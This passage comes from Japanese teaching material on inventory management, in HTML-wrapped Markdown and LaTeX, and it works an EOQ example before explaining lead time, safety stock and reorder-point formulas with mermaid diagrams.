&lt;div&gt;&lt;span&gt;Q^* = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt;}}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Q^* = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;160&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt;}}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Q^* = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;40&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Q^* = &lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 単位}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 総在庫費用 $ C^* $ の計算&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;最適発注量 $&lt;/span&gt;&lt;span&gt; Q^* = &lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; を総在庫費用の式に代入：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;C^* = C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{R}{Q^*} + C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{Q^*}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;C^* = &lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt;} + &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;C^* = &lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;25&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;C^* = &lt;/span&gt;&lt;span&gt;400&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;400&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;C^* = &lt;/span&gt;&lt;span&gt;800&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 円}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 答え&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**最適発注量**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt; Q^* = &lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 単位&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**総在庫費用**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt; C^* = &lt;/span&gt;&lt;span&gt;800&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 円&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 検証&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;最適発注量では、年間発注費用と年間保管費用が等しくなることを確認できる：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 年間発注費用：$&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;25&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;400&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 円&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 年間保管費用：$&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;400&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 円&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この性質は、EOQモデルの重要な特徴である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## リードタイムと安全在庫&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### リードタイムの概念&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;実際の在庫管理では、発注から納入までに時間がかかる。この時間を&lt;/span&gt;&lt;span&gt;**リードタイム**&lt;/span&gt;&lt;span&gt;（Lead Time）という。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図8: リードタイム付き在庫管理サイクル**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "リードタイム付き在庫管理サイクル"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[発注実行&amp;lt;br/&amp;gt;Order Placement&amp;lt;br/&amp;gt;t=t₀] --&amp;gt;|リードタイムL&amp;lt;br/&amp;gt;Lead Time&amp;lt;br/&amp;gt;L&amp;gt;0| B[納入完了&amp;lt;br/&amp;gt;Delivery Arrival&amp;lt;br/&amp;gt;t=t₀+L]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt; C[在庫補充&amp;lt;br/&amp;gt;Inventory Replenishment&amp;lt;br/&amp;gt;Q units added]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt;|需要発生&amp;lt;br/&amp;gt;Demand Occurs&amp;lt;br/&amp;gt;d units/day| D[在庫減少&amp;lt;br/&amp;gt;Inventory Depletion&amp;lt;br/&amp;gt;I=Q-d×t]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt;|在庫=発注点&amp;lt;br/&amp;gt;I=ROP&amp;lt;br/&amp;gt;Reorder Point| E[発注点到達&amp;lt;br/&amp;gt;ROP Triggered&amp;lt;br/&amp;gt;ROP=d×L+SS]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt; A&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "発注点の構成要素"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F[リードタイム中の需要予測&amp;lt;br/&amp;gt;Expected Demand During Lead Time&amp;lt;br/&amp;gt;d×L]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G[安全在庫&amp;lt;br/&amp;gt;Safety Stock&amp;lt;br/&amp;gt;SS=zₐ×σₗ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; H[発注点&amp;lt;br/&amp;gt;Reorder Point&amp;lt;br/&amp;gt;ROP=d×L+SS]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt; H&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "パラメータ"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I[d 日次平均需要&amp;lt;br/&amp;gt;Daily Average Demand]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        J[L リードタイム&amp;lt;br/&amp;gt;Lead Time in days]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        K[σₗ リードタイム中の需要の標準偏差&amp;lt;br/&amp;gt;Std Dev of Demand During Lead Time]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        L[zₐ サービスレベル分位数&amp;lt;br/&amp;gt;Service Level Z-score]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 安全在庫の必要性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;需要は変動するため、需要予測の誤差や需要の急激な増加に対応するために&lt;/span&gt;&lt;span&gt;**安全在庫**&lt;/span&gt;&lt;span&gt;（Safety Stock）を設定する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 安全在庫の計算プロセス&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図9: 安全在庫の計算プロセス**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "入力パラメータ"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[日次平均需要d&amp;lt;br/&amp;gt;Daily Average Demand] --&amp;gt; E[安全在庫計算]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B[リードタイムL&amp;lt;br/&amp;gt;Lead Time in days] --&amp;gt; E&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C[需要の標準偏差σ_d&amp;lt;br/&amp;gt;Demand Std Dev] --&amp;gt; E&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D[サービスレベルα&amp;lt;br/&amp;gt;Service Level&amp;lt;br/&amp;gt;例: 95%] --&amp;gt; E&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "計算ステップ"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt; F[リードタイム中の需要予測&amp;lt;br/&amp;gt;μ_L = d×L]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt; G[リードタイム中の標準偏差&amp;lt;br/&amp;gt;σ_L = σ_d×√L]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt; H[サービスレベル分位数&amp;lt;br/&amp;gt;z_α = Φ⁻¹α&amp;lt;br/&amp;gt;例: z_0.95 = 1.65]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; I[安全在庫&amp;lt;br/&amp;gt;SS = z_α×σ_L]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt; I&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H --&amp;gt; I&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "発注点の決定"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; J[発注点&amp;lt;br/&amp;gt;ROP = μ_L + SS&amp;lt;br/&amp;gt;= d×L + z_α×σ_L]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; J&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "結果の解釈"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        J --&amp;gt; K[在庫がROPに達したら発注&amp;lt;br/&amp;gt;リードタイム中に品切れ&amp;lt;br/&amp;gt;する確率≤1-α]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 発注点の決定&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;発注点は以下の式で求められる：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{発注点} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{リードタイム中の需要予測} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{安全在庫}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;安全在庫は、需要の変動幅やサービスレベル（品切れを許容する確率）に基づいて決定される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### リードタイム中の需要予測&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;リードタイム $&lt;/span&gt;&lt;span&gt; L $&lt;/span&gt;&lt;span&gt;（日単位）と1日あたりの平均需要 $&lt;/span&gt;&lt;span&gt; d $&lt;/span&gt;&lt;span&gt; が与えられた場合：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{リードタイム中の需要予測} = d &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times L&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;年間需要量 $&lt;/span&gt;&lt;span&gt; R $&lt;/span&gt;&lt;span&gt; から計算する場合、年間営業日数を $&lt;/span&gt;&lt;span&gt; D $&lt;/span&gt;&lt;span&gt; とすると：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;d = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{R}{D}, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{リードタイム中の需要予測} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{R &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times L}{D}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 安全在庫の計算方法&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;安全在庫は、需要の変動とサービスレベルに基づいて計算される。統計的には、&lt;/span&gt;&lt;span&gt;**リードタイム中の需要の確率分布**&lt;/span&gt;&lt;span&gt;に基づいて決定される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**需要が正規分布に従う場合**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;リードタイム中の需要 $&lt;/span&gt;&lt;span&gt; D_L $&lt;/span&gt;&lt;span&gt; が正規分布 $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{N}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu_L, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_L^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;) $&lt;/span&gt;&lt;span&gt; に従うと仮定する。ここで：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu_L = d &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times L $&lt;/span&gt;&lt;span&gt;：リードタイム中の平均需要&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_L^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt;：リードタイム中の需要の分散&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;サービスレベル $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha $&lt;/span&gt;&lt;span&gt;（品切れ確率 $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha $&lt;/span&gt;&lt;span&gt;）を満たす安全在庫 $&lt;/span&gt;&lt;span&gt; SS $&lt;/span&gt;&lt;span&gt; は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;P(D_L &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu_L + SS) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;標準化すると：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;P&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{D_L - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu_L}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_L} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{SS}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_L}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;したがって：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{安全在庫} = SS = z_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_L&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; z_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Phi^{-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha) $&lt;/span&gt;&lt;span&gt;：標準正規分布の $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha $&lt;/span&gt;&lt;span&gt; 分位数（$&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Phi $&lt;/span&gt;&lt;span&gt; は標準正規分布の累積分布関数）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_L $&lt;/span&gt;&lt;span&gt;：リードタイム中の需要の標準偏差&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**リードタイム中の需要の分散の導出**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1日あたりの需要 $&lt;/span&gt;&lt;span&gt; D_t $&lt;/span&gt;&lt;span&gt; が独立同分布（i.i.d.）で、平均 $&lt;/span&gt;&lt;span&gt; d $&lt;/span&gt;&lt;span&gt;、分散 $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_d^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; に従うと仮定する。リードタイム中の需要は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
